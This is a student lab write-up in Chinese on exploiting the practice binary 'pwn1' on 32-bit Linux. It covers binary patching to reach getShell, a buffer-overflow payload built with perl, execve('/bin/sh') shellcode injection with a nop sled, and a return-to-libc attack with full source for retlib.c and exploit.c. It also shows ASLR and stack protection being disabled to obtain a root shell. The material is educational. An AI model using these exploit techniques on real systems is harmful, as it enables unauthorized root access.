实践目标
- 本次实践的对象是一个名为pwn1的linux可执行文件。
- 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
- 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。
- 本次实践主要是学习两种方法:
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
Linux常用指令
管道命令
“|”是管道命令操作符,简称管道符。利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。
它仅能处理经由前面一个指令传出的正确输出信息,也就是 standard output 的信息,对于 standard error 信息没有直接处理能力。
例如:
ls -l | more
该命令列出当前目录中的文档,并把输出送给more命令作为输入,more命令分页显示文件列表。
重定向操作符
>:将命令输出写入文件或设备,而不是命令提示符或句柄
<:从文件而不是从键盘或句柄读入命令输入
>>:将命令输出添加到文件末尾而不删除文件中已有的信息
>&:将一个句柄的输出写入到另一个句柄的输入中
<&:从一个句柄读取输入并将其写入到另一个句柄输出中
常用汇编指令及寄存器的作用
(1)NOP:NOP指令为空指令,运行时CPU什么都不做,但是会占用一个指令的时间,通常用于延时或等待
(2)JNE:条件转移指令,当不相等时跳转,机器码为75
(3)JE:条件跳转指令,当相等时跳转,机器码为74
(4)JMP:无条件跳转指令
(5)CMP:比较指令,比较两个操作数的大小,用第一个操作数减去第二个操作数,但是不影响两个操作数的值,但会影响标志寄存器
(6)call指令,EIP寄存器,指令跳转的偏移计算:EIP(new)=EIP+x(在本次试验中,要让程序执行getShell函数,通过计算0804847d-80484ba结果的补码为c3ffffff,将call指令的目标地址由d7ffffff变为c3ffffff即可)
(7)反汇编指令objdump
(8)将文件转为十六进制的指令:%!xxd
(9)补码:d7ffffff是-41的补码表示
补码:c3ffffff是-3d的补码表示
实践过程
直接修改程序机器指令,改变程序执行流程
1.先对pwn1文件做个备份
2.使用指令
objdump -d 20155219
对目标文件进行反汇编,查看三个核心函数的反汇编结果:
可以看到在main函数里,运行正常时是跳转到foo函数中,我们要想办法修改一些值让它取运行get-shell函数。发现可以通过修改“d7ffffff”为"getShell-80484ba"对应的补码就可以实现。经过计算可得47d-4ba=-3d,其补码是c3ffffff。
接下来就对可执行文件进行修改,先输入指令vi ,用vim编辑器查看可执行文件20155219;接着输入:%!xxd,将显示模式切换为16进制模式;输入/e8 d7查找要修改的内容:
将模式改为插入模式,修改d7为c3;输入:%!xxd -r转换16进制为原格式,然后存盘退出
(!!注意,必须完成两步之后才能存储退出,如果保存了二进制格式,则会出现无法反汇编的错误)
此时再反汇编看一下,发现原汇编指令已经被成功修改:
之后可以运行get-shell函数 如下:
通过构造输入参数,造成BOF攻击,改变程序执行流
通过对foo函数进行分析,可以发现系统只预留了一定字节的缓冲区,超出部分会造成溢出,因此这个函数存在BOF漏洞,而我们的目标就是覆盖它的返回地址。即eip寄存器。
1.使用gdb调试,输入1111111122222222333333334444444412345678
观察到寄存器eip的值为0x34333231是ASCII 1234
所以我们只需要将getshell的内存地址替换这4个字符,就可以达到程序向getshell函数转移的目的。
我们要构造一串特殊的输入,由于getShell的内存地址是0x0804847d,而其对应的ASCII没有字符,所以我们通过一个简单的perl脚本语言来构造输入值,输入:
perl -e 'print "12345678123456781234567812345678x7dx84x04x08x0a"' > input
(-e 后面紧跟着引号里面的字符串是要执行的命令
:king@king:~$ perl -e ‘print “hello world
”‘
hello world
如果是多个命令就可以使用多个-e:
注意的是中间的哪个“;”
king@king:~$ perl -e ‘print “hello world
” ;' -e ‘print “my first perl command line script
”‘
hello world
my first perl command line script
)
使用16进制查看指令xxd查看input文件的内容。然后将input的输入,通过管道符“|”,作为可执行文件20155219的输入:
shellcode注入实践
1.获取shellcode的C语言代码
#include <unistd.h>
#include <stdlib.h>
char *buf[]={"/bin/sh",NULL};
void main()
{
execve("/bin/sh",buf,0);
exit(0);
}
编译运行一下。
需要先安装execstack指令。
“execstack -s ”指令为设置堆栈可执行,“execstack -q ”指令用来查询文件的堆栈是否可执行,“X”表示文件可执行
(1)参数为0表示关闭进程地址空间随机化。
(2)参数为1表示将mmap的基址,stack和vdso页面随机化。
(3)参数为2表示在1的基础上增加栈(heap)的随机化。
2.构造要注入的payload
(1)Linux下有两种基本构造攻击buf的方法:
①retaddr+nop+shellcode //retaddr在缓冲区的位置是固定的,缓冲区比较小的时候shellcode放retaddr后面
②nop+shellcode+retaddr //缓冲区比较大的时候hsellcode放retaddr前面
(2)选取的结构为:retaddr+nop+shellcode
(3)这里的nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
(4)用x4x3x2x1覆盖到堆栈上的返回地址的位置,把它改为这段shellcode的地址
3.打开另一个终端注入这段攻击buf。注意输入指令之后不要立即按回车,在后面的调试过程中需要继续运行的时候再回车
4.再打开另外一个终端,查找与5219_shellcode有关的进程,并用-ef格式显示出来,找到该进程的进程号。打开gdb,用attach指令对该进程进行调试并且对foo函数进行反汇编。
在ret处设置断点,查看注入buf的内存地址,来分析我们之前猜测的返回地址位置是否正确以及shellcode的地址
图中0x01020304的位置0xffffd2fc是返回地址的位置,由于结构为anything+retaddr+nops+shellcode,由此推断我们的shellcode的地址为0xffffd304
将返回地址修改为0xffffd320重新注入,成功!
Return-to-libc攻击深入
一、基础知识
-
缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码。也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中。但是,程序的代码段通常设置为不可写,因此攻击者需要将此攻击代码置于堆栈中。于是为了阻止此种类型的攻击,缓冲区溢出防御机制采用了非执行堆栈技术,这种技术使得堆栈上的恶意代码不可执行。
-
为了避开这种防御机制,缓冲区溢出又出现了新的变体 return-into-libc 攻击。return-into-libc 的攻击者并不需要栈可以执行,甚至不需要注入新的代码,就可以实现攻击。return-into-libc 攻击不需要注入新的恶意代码,取而代之的是重用漏洞程序中已有的函数完成攻击,让漏洞程序跳转到已有的代码序列。攻击者在实施攻击时仍然可以用恶意代码的地址来覆盖程序函数调用的返回地址,并传递重新设定好的参数使其能够按攻击者的期望运行。这就是为什么攻击者会采用 return-into-libc 的方式,并使用程序提供的库函数。这种攻击方式在实现攻击的同时,也避开了数据执行保护策略中对攻击代码的注入和执行进行的防护。
二、实践过程
1.本次实践在32位Linux下进行,设置32位linux环境
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2.环境安装好之后进入32位环境,进入bash并且关闭地址空间随机化。缓冲区溢出攻击的关键是猜测内存地址,地址空间随机化会使初始地址随机产生,不利于我们对内存地址的猜测,因此在本实践中我们将此功能关闭。
3.设置zsh程序。/bin/bash能够通过使shell程序放弃自己的root权限来防范缓冲区溢出攻击及其他利用shell程序的攻击,在本实践中,我们用zsh程序替代/bin/bash程序,解除此防护措施。
4.实践程序
有以下三个代码:
分别是
1.retlib.c //漏洞程序,我们通过控制badfile文件来产生root shell
2.getenvaddr.c //漏洞程序,用于读取环境变量
3.exploit.c //攻击程序,程序里包含 BIN_SH、system、exit 的地址,我们通过修改该程序里的上述地址,结合retlib程序产生漏洞来实现攻击
将三个文件保存到/tmp目录下
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly
");
fclose(badfile);
return 1;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>
", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p
", argv[1], ptr);
return 0;
}
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // 查询BIN_SH的地址后放入
*(long *) &buf[24] =0x22222222; // 查询system()的地址后放入
*(long *) &buf[36] =0x33333333; // 查询exit()的地址后放入
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
5.编译程序并设置SET-UID,设置su以root身份执行,运用-fno-stack-protector关闭栈保护机制
6.保存并编译环境变量读取程序getenvaddr.c
7.获取 BIN_SH 地址。
8.获取system 和 exit 的地址,修改 exploit.c 文件中的内存地址
我的system地址为0xf7e2eb30,exit地址为0xf7e227e0
9.删除刚才调试编译的 exploit 程序以及 badfile 文件
10.重新编译修改后的 exploit.c,先运行攻击程序 exploit,再运行漏洞程序 retlib,攻击成功!